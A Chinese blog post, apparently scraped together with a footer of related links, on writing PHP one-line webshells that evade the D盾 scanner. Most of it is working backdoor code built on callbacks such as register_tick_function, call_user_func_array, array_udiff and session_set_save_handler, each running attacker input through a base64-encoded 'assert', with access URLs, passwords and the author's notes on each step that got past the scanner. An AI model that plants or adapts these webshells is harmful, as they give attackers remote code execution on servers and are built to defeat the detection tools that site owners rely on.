PHP一句话木马研究
最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。
现总结如下:
方案一:回调函数
回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。
已被D盾查杀的函数:
array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(级别2)
array_walk()
array_walk_recursive()
1.register_tick_function()
构造一句话:
<?php
declare(ticks=1);
register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
?>
访问URL:
IP/XXX.php?e=YXNzZXJ0
密码:a
2.变种call_user_func_array()
尝试模仿正常函数调用,定义一个简单的function:
<?php
function newsSearch($para0){
$evil=$para0;
$exec=$_GET['id'];
call_user_func_array($exec,array($evil));
}
newsSearch($_POST['tid']);
?>
使用D盾查杀。
0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:
<?php
function newsSearch($para0,$para1){
$evil=$para0;
call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>
OK!完美绕过!
访问URL:
IP/XXX.php?id=YXNzZXJ0
密码:key
同样的方法可以使用call_user_func函数,构造shell如下:
<?php
function newsSearch($para0,$para1){
$evil=$para0;
call_user_func($para1,$evil);
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>
3.变种array_udiff()
用相同的方法构造使用array_udiff()的shell:
<?php
function newsSearch($para0,$para1){
$evil=$para0;
$exec=$para1;
array_udiff($arr=array($evil),$arr1 = array(''),$exec);
}
$exec=base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'],$exec);
?>
访问URL:
IP/XXX.php?exec=YXNzZXJ0
密码:key
剩下的回调函数也可以用相同的方法绕过D盾。
4.session_set_save_handler
session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。
编写shell如下:
<?php
error_reporting(0);
$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
function open($save_path, $session_name) // open第一个被调用,类似类的构造函数
{}
function close() // close最后一个被调用,类似 类的析构函数
{
}
session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
function write($id, $sess_data)
{}
function destroy($id)
{}
function gc()
{}
// 第三个参数为read read(string $sessionId)
session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
@session_start(); // 打开会话
?>
使用D盾查杀。
$session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:
$session=$_REQUEST['id'];
看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错!
尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:
<?php
error_reporting(0);
//$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
function test($para){
session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
@session_start(); // 打开会话
}
$session=base64_decode($_REQUEST['id']);
// open第一个被调用,类似类的构造函数
function open($save_path, $session_name)
{}
// close最后一个被调用,类似 类的析构函数
function close()
{
}
// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
session_id($_REQUEST['op']);
function write($id, $sess_data)
{}
function destroy($id)
{}
function gc()
{}
// 第三个参数为read read(string $sessionId)
test($session);
?>
完美绕过!
访问URL:
IP/XXX.php?id=YXNzZXJ0
密码:op
PHP一句话木马研究的更多相关文章
- 探索基于.NET下实现一句话木马之asmx篇
0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款a ...
- 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)
黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...
- 如何自己写aspx过狗D盾一句话木马
hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...
- 渗透技术--SQL注入写一句话木马原理
讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...
- 通过mysql写入一句话木马
USE mysql;# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). CREATE TABLE a( cmd1 text NOT NULL );# MyS ...
- 通过mysql写入php一句话木马
利用mysql写入一句话木马 前提: root权限,知道了服务器的web的绝对路径 select "<?php @eval($_POST['pass']);?>" IN ...
- php一句话木马
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能. 为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了发送的命令. 通过GET .POST . ...
- 探索基于.NET下实现一句话木马之ashx篇
0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...
- 一句话木马:ASP篇
ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...
随机推荐
- Python中“if __name__=='__main__':”理解与总结
1 引言 在Python当中,如果代码写得规范一些,通常会写上一句“if __name__==’__main__:”作为程序的入口,但似乎没有这么一句代码,程序也能正常运行.这句代码多余吗?原理又在哪 ...
- 《Population Based Training of Neural Networks》论文解读
很早之前看到这篇文章的时候,觉得这篇文章的思想很朴素,没有让人眼前一亮的东西就没有太在意.之后读到很多Multi-Agent或者并行训练的文章,都会提到这个算法,比如第一视角多人游戏(Quake ...
- 循序渐进学.Net Core Web Api开发系列【14】:异常处理
系列目录 循序渐进学.Net Core Web Api开发系列目录 本系列涉及到的源码下载地址:https://github.com/seabluescn/Blog_WebApi 一.概述 本篇介绍异 ...
- tesseract_ocr+pytesseract图像识别
一.windows安装配置 其他系统安装配置参考github:https://github.com/tesseract-ocr/tesseract/wiki 下载tesseract-ocr参考:htt ...
- mysql的checkpoint
上一章的结尾我们留下了一个问题,就是在上一章所介绍的模型中,恢复管理器必须要通过全篇扫描整个undolog进行日志恢复,这样做显然是没有太大必要的,因为系统中断肯定是在最后几个事务受到影响,前面的事务 ...
- Intel Code Challenge Elimination Round (Div.1 + Div.2, combined) A. Broken Clock 水题
A. Broken Clock 题目连接: http://codeforces.com/contest/722/problem/A Description You are given a broken ...
- windows servier2008+virtualenv下部署Flask (IIS+wfastcgi)
由于业务只有一台windows server2008的服务器,一般的nginx+uwsgi的部署方式不行,以下记录部署过程,本文参考自:https://www.cnblogs.com/xiaolecn ...
- 如何在Root的手机上开启ViewServer,使得HierachyViewer能够连接(转)
前期准备: 关于什么是Hierarchy Viewer,请查看官方文档:http://developer.android.com/tools/debugging/debugging-ui.html.个 ...
- 解决Android LogCat 输出乱码的问题(转)
Android日志系统提供了记录和查看系统调试信息的功能.日志都是从各种软件和一些系统的缓冲区中记录下来的. 可以使用adb的logcat 命令来查看系统日志缓冲区的内容,但是在实际操作时,会发现在C ...
- LPCScrypt, DFUSec : USB FLASH download, programming, and security tool, LPC-Link 2 Configuration tool, Firmware Programming
What does this tool do? The LPC18xx/43xx DFUSec utility is a Windows PC tool that provides support f ...